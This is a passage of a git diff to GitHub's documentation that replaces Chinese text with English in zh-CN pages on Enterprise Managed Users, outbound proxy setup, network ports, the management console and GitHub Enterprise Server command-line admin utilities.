%}accounts and {% endif %}access to your {% ifversion ghae %}enterprise{% elsif ghec %}enterprise''s resources{% endif %} on {% data variables.product.product_name %} with SAML single sign-on (SSO) and System for Cross-domain Identity Management (SCIM).' versions: ghec: '*' ghae: '*' diff --git a/translations/zh-CN/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md b/translations/zh-CN/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md index 8c5965826a..2700c6ee2e 100644 --- a/translations/zh-CN/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md +++ b/translations/zh-CN/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md @@ -16,7 +16,7 @@ topics: - SSO --- -## 关于 {% data variables.product.prodname_emus %} +## About {% data variables.product.prodname_emus %} With {% data variables.product.prodname_emus %}, you can control the user accounts of your enterprise members through your identity provider (IdP). You can simplify authentication with SAML single sign-on (SSO) and provision, update, and deprovision user accounts for your enterprise members. Users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your IdP are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} and added to your enterprise. You control usernames, profile data, team membership, and repository access from your IdP. @@ -46,14 +46,14 @@ To use {% data variables.product.prodname_emus %}, you need a separate type of e {% data variables.product.prodname_managed_users_caps %} can only contribute to private and internal repositories within their enterprise and private repositories owned by their user account. {% data variables.product.prodname_managed_users_caps %} have read-only access to the wider {% data variables.product.prodname_dotcom %} community. * {% data variables.product.prodname_managed_users_caps %} cannot create issues or pull requests in, comment or add reactions to, nor star, watch, or fork repositories outside of the enterprise. -* {% data variables.product.prodname_managed_users_caps %} cannot push code to repositories outside of the enterprise. -* {% data variables.product.prodname_managed_users_caps %} and the content they create is only visible to other members of the enterprise. +* {% data variables.product.prodname_managed_users_caps %} can view all public repositories on {% data variables.product.prodname_dotcom_the_website %}, but cannot push code to repositories outside of the enterprise. +* {% data variables.product.prodname_managed_users_caps %} and the content they create is only visible to other members of the enterprise. * {% data variables.product.prodname_managed_users_caps %} cannot follow users outside of the enterprise. * {% data variables.product.prodname_managed_users_caps %} cannot create gists or comment on gists. * {% data variables.product.prodname_managed_users_caps %} cannot install {% data variables.product.prodname_github_apps %} on their user accounts. * Other {% data variables.product.prodname_dotcom %} users cannot see, mention, or invite a {% data variables.product.prodname_managed_user %} to collaborate. * {% data variables.product.prodname_managed_users_caps %} can only own private repositories and {% data variables.product.prodname_managed_users %} can only invite other enterprise members to collaborate on their owned repositories. -* Only private and internal repositories can be created in organizations owned by an {% data variables.product.prodname_emu_enterprise %}, depending on organization and enterprise repository visibility settings. +* Only private and internal repositories can be created in organizations owned by an {% data variables.product.prodname_emu_enterprise %}, depending on organization and enterprise repository visibility settings. ## About enterprises with managed users @@ -61,7 +61,7 @@ To use {% data variables.product.prodname_emus %}, you need a separate type of e Your contact on the GitHub Sales team will work with you to create your new {% data variables.product.prodname_emu_enterprise %}. You'll need to provide the email address for the user who will set up your enterprise and a short code that will be used as the suffix for your enterprise members' usernames. {% data reusables.enterprise-accounts.emu-shortcode %} For more information, see "[Usernames and profile information](#usernames-and-profile-information)." -After we create your enterprise, you will receive an email from {% data variables.product.prodname_dotcom %} inviting you to choose a password for your enterprise's setup user, which will be the first owner in the enterprise. The setup user is only used to configure SAML single sign-on and SCIM provisioning integration for the enterprise. It will no longer have access to administer the enterprise account once SAML is successfully enabled. +After we create your enterprise, you will receive an email from {% data variables.product.prodname_dotcom %} inviting you to choose a password for your enterprise's setup user, which will be the first owner in the enterprise. Use an incognito or private browsing window when setting the password. The setup user is only used to configure SAML single sign-on and SCIM provisioning integration for the enterprise. It will no longer have access to administer the enterprise account once SAML is successfully enabled. The setup user's username is your enterprise's shortcode suffixed with `_admin`. After you log in to your setup user, you can get started by configuring SAML SSO for your enterprise. For more information, see "[Configuring SAML single sign-on for Enterprise Managed Users](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)." @@ -71,7 +71,7 @@ The setup user's username is your enterprise's shortcode suffixed with `_admin`. {% endnote %} -## 验证为 {% data variables.product.prodname_managed_user %} +## Authenticating as a {% data variables.product.prodname_managed_user %} {% data variables.product.prodname_managed_users_caps %} must authenticate through their identity provider. diff --git a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md index eb010d37cc..8d3b1c125e 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md +++ b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md @@ -1,6 +1,6 @@ --- -title: 配置出站 Web 代理服务器 -intro: '代理服务器为 {% data variables.product.product_location %} 额外提供了一级安全性。' +title: Configuring an outbound web proxy server +intro: 'A proxy server provides an additional level of security for {% data variables.product.product_location %}.' redirect_from: - /enterprise/admin/guides/installation/configuring-a-proxy-server/ - /enterprise/admin/installation/configuring-an-outbound-web-proxy-server @@ -14,28 +14,30 @@ topics: - Fundamentals - Infrastructure - Networking -shortTitle: 配置出站代理 +shortTitle: Configure an outbound proxy --- -## 关于 {% data variables.product.product_name %} 的代理 +## About proxies with {% data variables.product.product_name %} -为 {% data variables.product.product_location %} 启用代理服务器后，除非已将目标主机添加为 HTTP 代理排除项，否则会先通过代理服务器发送由 {% data variables.product.prodname_ghe_server %} 发送的出站消息。 出站消息类型包括传出 web 挂钩、上传包和提取旧头像。 代理服务器的 URL 为协议、域或 IP 地址外加端口号，例如 `http://127.0.0.1:8123`。 +When a proxy server is enabled for {% data variables.product.product_location %}, outbound messages sent by {% data variables.product.prodname_ghe_server %} are first sent through the proxy server, unless the destination host is added as an HTTP proxy exclusion. Types of outbound messages include outgoing webhooks, uploading bundles, and fetching legacy avatars. The proxy server's URL is the protocol, domain or IP address, plus the port number, for example `http://127.0.0.1:8123`. {% note %} -**注**：要将 {% data variables.product.product_location %} 连接到 {% data variables.product.prodname_dotcom_the_website %}，您的代理配置必须允许连接到 `github.com` 和 `api.github.com`。 For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_dotcom_the_website %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)." +**Note:** To connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}, your proxy configuration must allow connectivity to `github.com` and `api.github.com`. For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_dotcom_the_website %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)." {% endnote %} -{% data reusables.actions.proxy-considerations %} 有关使用 {% data variables.product.prodname_actions %} 与 {% data variables.product.prodname_ghe_server %} 的更多信息，请参阅“[开始对 {% data variables.product.prodname_ghe_server %} 使用 {% data variables.product.prodname_actions %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)”。 +{% data reusables.actions.proxy-considerations %} For more information about using {% data variables.product.prodname_actions %} with {% data variables.product.prodname_ghe_server %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)." -## 配置出站 Web 代理服务器 +## Configuring an outbound web proxy server {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.privacy %} -1. 在 **HTTP Proxy Server** 下，输入代理服务器的 URL。 ![用于输入 HTTP 代理服务器 URL 的字段](/assets/images/enterprise/management-console/http-proxy-field.png) - -5. 或者在 **HTTP Proxy Exclusion** 下输入不需要进行代理访问的任意主机，并以逗号分隔主机。 要将域中的所有主机排除在需要代理访问权限之外，您可以使用 `.` 作为通配符前缀。 例如：`.octo-org.tentacle` ![输入任何 HTTP 代理排除项的字段](/assets/images/enterprise/management-console/http-proxy-exclusion-field.png) +1. Under **HTTP Proxy Server**, type the URL of your proxy server. + ![Field to type the HTTP Proxy Server URL](/assets/images/enterprise/management-console/http-proxy-field.png) + +5. Optionally, under **HTTP Proxy Exclusion**, type any hosts that do not require proxy access, separating hosts with commas. To exclude all hosts in a domain from requiring proxy access, you can use `.` as a wildcard prefix. For example: `.octo-org.tentacle` + ![Field to type any HTTP Proxy Exclusions](/assets/images/enterprise/management-console/http-proxy-exclusion-field.png) {% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/zh-CN/content/admin/configuration/configuring-network-settings/network-ports.md b/translations/zh-CN/content/admin/configuration/configuring-network-settings/network-ports.md index ede4820f2a..4fcd17c1a7 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-network-settings/network-ports.md +++ b/translations/zh-CN/content/admin/configuration/configuring-network-settings/network-ports.md @@ -1,5 +1,5 @@ --- -title: 网络端口 +title: Network ports redirect_from: - /enterprise/admin/articles/configuring-firewalls/ - /enterprise/admin/articles/firewall/ @@ -8,7 +8,7 @@ redirect_from: - /enterprise/admin/installation/network-ports - /enterprise/admin/configuration/network-ports - /admin/configuration/network-ports -intro: 根据您需要为管理员、最终用户和电子邮件支持显示的网络服务有选择地打开网络端口。 +intro: 'Open network ports selectively based on the network services you need to expose for administrators, end users, and email support.' versions: ghes: '*' type: reference @@ -18,37 +18,36 @@ topics: - Networking - Security --- +## Administrative ports -## 管理端口 +Some administrative ports are required to configure {% data variables.product.product_location %} and run certain features. Administrative ports are not required for basic application use by end users. -需要使用一些管理端口来配置 {% data variables.product.product_location %} 和运行某些功能。 最终用户在使用基本应用程序时不需要管理端口。 +| Port | Service | Description | +|---|---|---| +| 8443 | HTTPS | Secure web-based {% data variables.enterprise.management_console %}. Required for basic installation and configuration. | +| 8080 | HTTP | Plain-text web-based {% data variables.enterprise.management_console %}. Not required unless SSL is disabled manually. | +| 122 | SSH | Shell access for {% data variables.product.product_location %}. Required to be open to incoming connections between all nodes in a high availability configuration. The default SSH port (22) is dedicated to Git and SSH application network traffic. | +| 1194/UDP | VPN | Secure replication network tunnel in high availability configuration. Required to be open for communication between all nodes in the configuration.| +| 123/UDP| NTP | Required for time protocol operation. | +| 161/UDP | SNMP | Required for network monitoring protocol operation. | -| 端口 | 服务 | 描述 | -| -------- | ----- | -------------------------------------------------------------------------------------------------------------------------------- | -| 8443 | HTTPS | 基于安全 Web 的 {% data variables.enterprise.management_console %}。 进行基本安装和配置时需要。 | -| 8080 | HTTP | 基于纯文本 Web 的 {% data variables.enterprise.management_console %}。 除非手动禁用 SSL，否则不需要。 | -| 122 | SSH | 对 {% data variables.product.product_location %} 进行 Shell 访问。 对来自高可用性配置中的其他所有节点的传入连接开放时需要。 默认 SSH 端口 (22) 专用于 Git 和 SSH 应用程序网络流量。 | -| 1194/UDP | VPN | 采用高可用性配置的安全复制网络隧道。 对配置中的其他所有节点开放时需要。 | -| 123/UDP | NTP | 为时间协议操作所需。 | -| 161/UDP | SNMP | 为网络监视协议操作所需。 | +## Application ports for end users -## 最终用户的应用程序端口 +Application ports provide web application and Git access for end users. -应用程序端口为最终用户提供 Web 应用程序和 Git 访问。 - -| 端口 | 服务 | 描述 | -| ---- | ----- | --------------------------------------------------------------------------------------------------- | -| 443 | HTTPS | 通过 HTTPS 访问 Web 应用程序和 Git。 | -| 80 | HTTP | 访问 Web 应用程序。 当 SSL 启用时，所有请求都会重定向到 HTTPS 端口。 | -| 22 | SSH | 通过 SSH 访问 Git。 支持对公共和私有仓库执行克隆、提取和推送操作。 | -| 9418 | Git | Git 协议端口支持通过未加密网络通信对公共仓库执行克隆和提取操作。 {% data reusables.enterprise_installation.when-9418-necessary %} +| Port | Service | Description | +|---|---|---| +| 443 | HTTPS | Access to the web application and Git over HTTPS. | +| 80 | HTTP | Access to the web application. All requests are redirected to the HTTPS port when SSL is enabled. | +| 22 | SSH | Access to Git over SSH. Supports clone, fetch, and push operations to public and private repositories. | +| 9418 | Git | Git protocol port supports clone and fetch operations to public repositories with unencrypted network communication. {% data reusables.enterprise_installation.when-9418-necessary %} | {% data reusables.enterprise_installation.terminating-tls %} -## 电子邮件端口 +## Email ports -电子邮件端口必须可直接访问或通过中继访问，以便为最终用户提供入站电子邮件支持。 +Email ports must be accessible directly or via relay for inbound email support for end users. -| 端口 | 服务 | 描述 | -| -- | ---- | ------------------------ | -| 25 | SMTP | 支持采用加密的 SMTP (STARTTLS)。 | +| Port | Service | Description | +|---|---|---| +| 25 | SMTP | Support for SMTP with encryption (STARTTLS). | diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md index a85bdf0a32..ffc53c7878 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md @@ -1,5 +1,5 @@ --- -title: 访问管理控制台 +title: Accessing the management console intro: '{% data reusables.enterprise_site_admin_settings.about-the-management-console %}' redirect_from: - /enterprise/admin/articles/about-the-management-console/ @@ -17,40 +17,39 @@ type: how_to topics: - Enterprise - Fundamentals -shortTitle: 访问管理控制台 +shortTitle: Access the management console --- +## About the {% data variables.enterprise.management_console %} -## 关于 {% data variables.enterprise.management_console %} +Use the {% data variables.enterprise.management_console %} for basic administrative activities: +- **Initial setup**: Walk through the initial setup process when first launching {% data variables.product.product_location %} by visiting {% data variables.product.product_location %}'s IP address in your browser. +- **Configuring basic settings for your instance**: Configure DNS, hostname, SSL, user authentication, email, monitoring services, and log forwarding on the Settings page. +- **Scheduling maintenance windows**: Take {% data variables.product.product_location %} offline while performing maintenance using the {% data variables.enterprise.management_console %} or administrative shell. +- **Troubleshooting**: Generate a support bundle or view high level diagnostic information. +- **License management**: View or update your {% data variables.product.prodname_enterprise %} license. -使用 {% data variables.enterprise.management_console %} 执行基本管理活动： -- **初始设置**：首次启动 {% data variables.product.product_location %} 时，在浏览器中访问 {% data variables.product.product_location %} 的 IP 地址，简单了解初始设置流程。 -- **配置实例的基本设置**：在“Settings”页面上配置 DNS、主机名、SSL、用户身份验证、电子邮件、监视服务和日志转发。 -- **排定维护窗口**：使用 {% data variables.enterprise.management_console %} 或管理 shell 执行维护时，使 {% data variables.product.product_location %} 进入脱机状态。 -- **排查问题**：生成支持包或查看高级诊断信息。 -- **许可管理**：查看或更新 {% data variables.product.prodname_enterprise %} 许可。 +You can always reach the {% data variables.enterprise.management_console %} using {% data variables.product.product_location %}'s IP address, even when the instance is in maintenance mode, or there is a critical application failure or hostname or SSL misconfiguration. -即使在实例处于维护模式，存在重大应用程序故障或者主机名或 SSL 错误配置的情况下，您也始终可以通过 {% data variables.product.product_location %} 的 IP 地址访问 {% data variables.enterprise.management_console %}。 +To access the {% data variables.enterprise.management_console %}, you must use the administrator password established during initial setup of {% data variables.product.product_location %}. You must also be able to connect to the virtual machine host on port 8443. If you're having trouble reaching the {% data variables.enterprise.management_console %}, please check intermediate firewall and security group configurations. -要访问 {% data variables.enterprise.management_console %}，您必须使用在 {% data variables.product.product_location %} 初始设置期间确定的管理员密码。 您还必须能够连接到端口 8443 上的虚拟机主机。 如果无法访问 {% data variables.enterprise.management_console %}，请检查中间防火墙和安全组配置。 +## Accessing the {% data variables.enterprise.management_console %} as a site administrator -## 以站点管理员身份访问 {% data variables.enterprise.management_console %} - -第一次以网站管理员身份访问 {% data variables.enterprise.management_console %} 时，必须上传您的 {% data variables.product.prodname_enterprise %} 许可文件以向应用程序验证。 更多信息请参阅“[管理 {% data variables.product.prodname_enterprise %} 的许可](/billing/managing-your-license-for-github-enterprise)”。 +The first time that you access the {% data variables.enterprise.management_console %} as a site administrator, you must upload your {% data variables.product.prodname_enterprise %} license file to authenticate into the app. For more information, see "[Managing your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise)." {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.type-management-console-password %} -## 以未验证用户身份访问 {% data variables.enterprise.management_console %} +## Accessing the {% data variables.enterprise.management_console %} as an unauthenticated user -1. 在浏览器中访问此 URL，用您的实际 {% data variables.product.prodname_ghe_server %} 主机名或 IP 地址替换 `hostname`： +1. Visit this URL in your browser, replacing `hostname` with your actual {% data variables.product.prodname_ghe_server %} hostname or IP address: ```shell http(s)://HOSTNAME/setup ``` {% data reusables.enterprise_management_console.type-management-console-password %} -## 登录尝试失败后解锁 {% data variables.enterprise.management_console %} +## Unlocking the {% data variables.enterprise.management_console %} after failed login attempts -如果十分钟内登录尝试失败十次，{% data variables.enterprise.management_console %} 将锁定。 您必须等待登录屏幕自动解锁，然后才能再次尝试登录。 一旦前十分钟内登录尝试失败次数不足十次，登录屏幕便会自动解锁。 成功登录后，计数器会复位。 +The {% data variables.enterprise.management_console %} locks after ten failed login attempts are made in the span of ten minutes. You must wait for the login screen to automatically unlock before attempting to log in again. The login screen automatically unlocks as soon as the previous ten minute period contains fewer than ten failed login attempts. The counter resets after a successful login occurs. -要立即解锁 {% data variables.enterprise.management_console %}，请通过管理 shell 使用 `ghe-reactivate-admin-login` 命令。 更多信息请参阅“[命令行实用程序](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-reactivate-admin-login)”和“[访问管理 shell (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/)”。 +To immediately unlock the {% data variables.enterprise.management_console %}, use the `ghe-reactivate-admin-login` command via the administrative shell. For more information, see "[Command line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-reactivate-admin-login)" and "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/)." diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md index 7862c55008..2e8a16c345 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md @@ -1,6 +1,6 @@ --- -title: 命令行实用程序 -intro: '{% data variables.product.prodname_ghe_server %} 包含的各种实用程序可以帮助解决特殊问题或执行特定任务。' +title: Command-line utilities +intro: '{% data variables.product.prodname_ghe_server %} includes a variety of utilities to help resolve particular problems or perform specific tasks.' redirect_from: - /enterprise/admin/articles/viewing-all-services/ - /enterprise/admin/articles/command-line-utilities/ @@ -15,17 +15,16 @@ topics: - Enterprise - SSH --- +You can execute these commands from anywhere on the VM after signing in as an SSH admin user. For more information, see "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/)." -以 SSH 管理员用户身份登录后，您可以在虚拟机上的任何位置执行这些命令。 更多信息请参阅“[访问管理 shell (SSH)](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-administrative-shell-ssh/)”。 - -## 常规 +## General ### ghe-announce -此实用程序会在每个 {% data variables.product.prodname_enterprise %} 页面顶部设置横幅， 您可以使用横幅向用户广播消息。 +This utility sets a banner at the top of every {% data variables.product.prodname_enterprise %} page. You can use it to broadcast a message to your users. {% ifversion ghes %} -您也可以使用企业设置在 {% data variables.product.product_name %} 上设置一个公告横幅。 更多信息请参阅“[自定义您的实例上的用户消息](/enterprise/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)”。 +You can also set an announcement banner using the enterprise settings on {% data variables.product.product_name %}. For more information, see "[Customizing user messages on your instance](/enterprise/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)." {% endif %} ```shell @@ -42,18 +41,18 @@ $ ghe-announce -u ### ghe-aqueduct -此实用程序会显示关于后台作业（活动作业和队列中的作业）的信息， 它提供的作业计数与每个页面顶部管理员统计信息栏中的计数相同。 +This utility displays information on background jobs, both active and in the queue. It provides the same job count numbers as the admin stats bar at the top of every page. -此实用程序可以帮助确定 Aqueduct 服务器在处理后台作业时是否会出现问题。 下列任一场景均可能指示 Aqueduct 存在问题： +This utility can help identify whether the Aqueduct server is having problems processing background jobs. Any of the following scenarios might be indicative of a problem with Aqueduct: -* 后台作业数增加，而活动作业数保持不变。 -* 事件源未更新。 -* Web 挂钩未触发。 -* Web 界面在 Git 推送后未更新。 +* The number of background jobs is increasing, while the active jobs remain the same. +* The event feeds are not updating. +* Webhooks are not being triggered. +* The web interface is not updating after a Git push. -如果怀疑 Aqueduct 出现故障，请联系 {% data variables.contact.contact_ent_support %} 获取帮助。 +If you suspect Aqueduct is failing, contact {% data variables.contact.contact_ent_support %} for help. -使用此命令，您还可以暂停或恢复队列中的作业。 +With this command, you can also pause or resume jobs in the queue. ```shell $ ghe-aqueduct status @@ -69,7 +68,7 @@ $ ghe-aqueduct resume --queue QUEUE ### ghe-check-disk-usage -此实用程序会检查磁盘中的大文件或已删除但文件句柄仍保持打开的文件。 如果尝试释放根分区中的空间，应运行此实用程序。 +This utility checks the disk for large files or files that have been deleted but still have open file handles. This should be run when you're trying to free up space on the root partition. ```shell ghe-check-disk-usage @@ -77,18 +76,18 @@ ghe-check-disk-usage ### ghe-cleanup-caches -此实用程序会清理各种有可能占用根卷上的额外磁盘空间的缓存。 如果您发现一段时间内根卷磁盘空间的使用量显著升高，最好运行此应用程序，查看是否可以帮助降低整体使用量 。 +This utility cleans up a variety of caches that might potentially take up extra disk space on the root volume. If you find your root volume disk space usage increasing notably over time it would be a good idea to run this utility to see if it helps reduce overall usage. ```shell ghe-cleanup-caches ``` ### ghe-cleanup-settings -此实用程序会擦除所有现有的 {% data variables.enterprise.management_console %} 设置。 +This utility wipes all existing {% data variables.enterprise.management_console %} settings. {% tip %} -**提示**：{% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %} +**Tip**: {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %} {% endtip %} @@ -98,7 +97,7 @@ ghe-cleanup-settings ### ghe-config -此实用程序可用于检索和修改 {% data variables.product.product_location %} 的配置设置。 +With this utility, you can both retrieve and modify the configuration settings of {% data variables.product.product_location %}. ```shell $ ghe-config core.github-hostname @@ -108,14 +107,14 @@ $ ghe-config core.github-hostname 'example.com' $ ghe-config -l # Lists all the configuration values ``` -允许您在 `cluster.conf` 中找到节点的通用唯一标识符 (UUID)。 +Allows you to find the universally unique identifier (UUID) of your node in `cluster.conf`. ```shell $ ghe-config HOSTNAME.uuid ``` {% ifversion ghes %} -允许您将用户列表从 API 速率限制中排除。 更多信息请参阅“[REST API 中的资源](/rest/overview/resources-in-the-rest-api#rate-limiting)”。 +Allows you to exempt a list of users from API rate limits. For more information, see "[Resources in the REST API](/rest/overview/resources-in-the-rest-api#rate-limiting)." ``` shell $ ghe-config app.github.rate-limiting-exempt-users "hubot github-actions" @@ -125,9 +124,9 @@ $ ghe-config app.github.rate-limiting-exempt-users "hubot github-ac ### ghe-config-apply -此实用程序会应用 {% data variables.enterprise.management_console %} 设置，重新加载系统服务，准备存储设备，重新加载应用程序服务并运行任何待处理的数据库迁移。 相当于在 {% data variables.enterprise.management_console %} Web UI 中单击 **Save settings（保存设置）**，或相当于向[ `/setup/api/configure` 端点](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#management-console)发送 POST 请求。 +This utility applies {% data variables.enterprise.management_console %} settings, reloads system services, prepares a storage device, reloads application services, and runs any pending database migrations. It is equivalent to clicking **Save settings** in the {% data variables.enterprise.management_console %}'s web UI or to sending a POST request to [the `/setup/api/configure` endpoint](/enterprise/{{ currentVersion }}/user/rest/reference/enterprise-admin#management-console). -您有可能永远不需要手动运行此实用程序，但如果希望通过 SSH 自动完成设置保存过程，也可以使用此实用程序。 +You will probably never need to run this manually, but it's available if you want to automate the process of saving your settings via SSH. ```shell ghe-config-apply @@ -135,7 +134,7 @@ ghe-config-apply ### ghe-console -此实用程序会在您的 {% data variables.product.prodname_enterprise %} 设备上打开 GitHub Rails 控制台。 {% data reusables.command_line.use_with_support_only %} +This utility opens the GitHub Rails console on your {% data variables.product.prodname_enterprise %} appliance. {% data reusables.command_line.use_with_support_only %} ```shell ghe-console @@ -143,16 +142,16 @@ ghe-console ### ghe-dbconsole -此实用程序会在您的 {% data variables.product.prodname_enterprise %} 设备上打开 MySQL 数据库会话。 {% data reusables.command_line.use_with_support_only %} +This utility opens a MySQL database session on your {% data variables.product.prodname_enterprise %} appliance. {% data reusables.command_line.use_with_support_only %} ```shell ghe-dbconsole ``` ### ghe-es-index-status -此实用程序会以 CSV 格式返回 ElasticSearch 索引的摘要。 +This utility returns a summary of Elasticsearch indexes in CSV format. -将包含标头行的索引摘要打印到 `STDOUT`： +Print an index summary with a header row to `STDOUT`: ```shell $ ghe-es-index-status -do > warning: parser/current is loading parser/ruby23, which recognizes @@ -171,7 +170,7 @@ $ ghe-es-index-status -do > wikis-4,true,true,true,true,100.0,2613dec44bd14e14577803ac1f9e4b7e07a7c234 ``` -将索引摘要和管道结果打印到 `column`，以供读取： +Print an index summary and pipe results to `column` for readability: ```shell $ ghe-es-index-status -do | column -ts, @@ -193,7 +192,7 @@ $ ghe-es-index-status -do | column -ts, ### ghe-legacy-github-services-report -此实用程序会列出您的设备中使用 {% data variables.product.prodname_dotcom %} Services 的仓库，作为一种集成方法，此服务将于 2018 年 10 月 1 日停用。 您的设备上的用户可能已设置 {% data variables.product.prodname_dotcom %} Services，为发往某些仓库的推送创建通知。 更多信息请参阅 {% data variables.product.prodname_blog %} 上的“[宣布弃用 {% data variables.product.prodname_dotcom %} Services](https://developer.github.com/changes/2018-04-25-github-services-deprecation/)”或“[替换 {% data variables.product.prodname_dotcom %} Services](/developers/overview/replacing-github-services)”。 如需获取关于此命令的更多信息或附加选项，请使用 `-h` 标志。 +This utility lists repositories on your appliance that use {% data variables.product.prodname_dotcom %} Services, an integration method that will be discontinued on October 1, 2018. Users on your appliance may have set up {% data variables.product.prodname_dotcom %} Services to create notifications for pushes to certain repositories. For more information, see "[Announcing the deprecation of {% data variables.product.prodname_dotcom %} Services](https://developer.github.com/changes/2018-04-25-github-services-deprecation/)" on {% data variables.product.prodname_blog %} or "[Replacing {% data variables.product.prodname_dotcom %} Services](/developers/overview/replacing-github-services)." For more information about this command or for additional options, use the `-h` flag. ```shell ghe-legacy-github-services-report @@ -202,7 +201,7 @@ ghe-legacy-github-services-report ### ghe-logs-tail -此实用程序允许跟踪记录安装中的所有相关日志文件。 您可以传入选项，将日志限制为特定集合。 使用 -h 标志表示附加选项。 +This utility lets you tail log all relevant log files from your installation. You can pass options in to limit the logs to specific sets. Use the -h flag for additional options. ```shell ghe-logs-tail @@ -210,7 +209,7 @@ ghe-logs-tail ### ghe-maintenance -此实用程序允许您控制安装维护模式的状态， 其设计为主要由 {% data variables.enterprise.management_console %} 在后台使用，但也可以直接使用。 +This utility allows you to control the state of the installation's maintenance mode. It's designed to be used primarily by the {% data variables.enterprise.management_console %} behind-the-scenes, but it can be used directly. ```shell ghe-maintenance -h @@ -218,7 +217,7 @@ ghe-maintenance -h ### ghe-motd -此实用程序重新显示管理员通过管理 shell 访问实例时看到的当天消息 (MOTD)。 输出包含实例状态的概述。 +This utility re-displays the message of the day (MOTD) that administrators see when accessing the instance via the administrative shell. The output contains an overview of the instance's state. ```shell ghe-motd @@ -226,7 +225,7 @@ ghe-motd ### ghe-nwo -此实用程序会根据仓库 ID 返回仓库名称和所有者。 +This utility returns a repository's name and owner based on the repository ID. ```shell ghe-nwo REPOSITORY_ID @@ -234,36 +233,36 @@ ghe-nwo REPOSITORY_ID ### ghe-org-admin-promote -使用此命令可为设备上具有站点管理员权限的用户提供组织所有者权限，或者为组织中的任何用户提供组织所有者权限。 您必须指定用户和/或组织。 `ghe-org-admin-promote` 命令始终会在运行前要求确认，除非您使用 `-y` 标志绕过确认过程。 +Use this command to give organization owner privileges to users with site admin privileges on the appliance, or to give organization owner privileges to any single user in a single organization. You must specify a user and/or an organization. The `ghe-org-admin-promote` command will always ask for confirmation before running unless you use the `-y` flag to bypass the confirmation. -您可将以下选项与实用程序配合使用： +You can use these options with the utility: -- `-u` 标志指定用户名。 使用此标志可为特定用户提供组织所有者权限。 省略 `-u` 标志会将所有站点管理员升级为指定组织的所有者。 -- `-o` 标志指定组织。 使用此标志可提供特定组织中的所有者权限。 省略 `-o` 标志会将所有组织中的所有者权限授予指定的站点管理员。 -- `-a` 标志会将所有组织中的所有者权限授予所有站点管理员。 -- `-y` 标志可绕过手动确认。 +- The `-u` flag specifies a username. Use this flag to give organization owner privileges to a specific user. Omit the `-u` flag to promote all site admins to the specified organization. +- The `-o` flag specifies an organization. Use this flag to give owner privileges in a specific organization. Omit the `-o` flag to give owner permissions in all organizations to the specified site admin. +- The `-a` flag gives owner privileges in all organizations to all site admins. +- The `-y` flag bypasses the manual confirmation. -此实用程序无法将非站点管理员升级为所有组织的所有者。 您可以使用 [ghe-user-promote](#ghe-user-promote) 将普通用户帐户升级为站点管理员。 +This utility cannot promote a non-site admin to be an owner of all organizations. You can promote an ordinary user account to a site admin with [ghe-user-promote](#ghe-user-promote). -将特定组织中的组织所有者权限授予特定的站点管理员 +Give organization owner privileges in a specific organization to a specific site admin ```shell ghe-org-admin-promote -u USERNAME -o ORGANIZATION ``` -将所有组织中的组织所有者权限授予特定的站点管理员 +Give organization owner privileges in all organizations to a specific site admin ```shell ghe-org-admin-promote -u USERNAME ``` -将特定组织中的组织所有者权限授予所有站点管理员 +Give organization owner privileges in a specific organization to all site admins 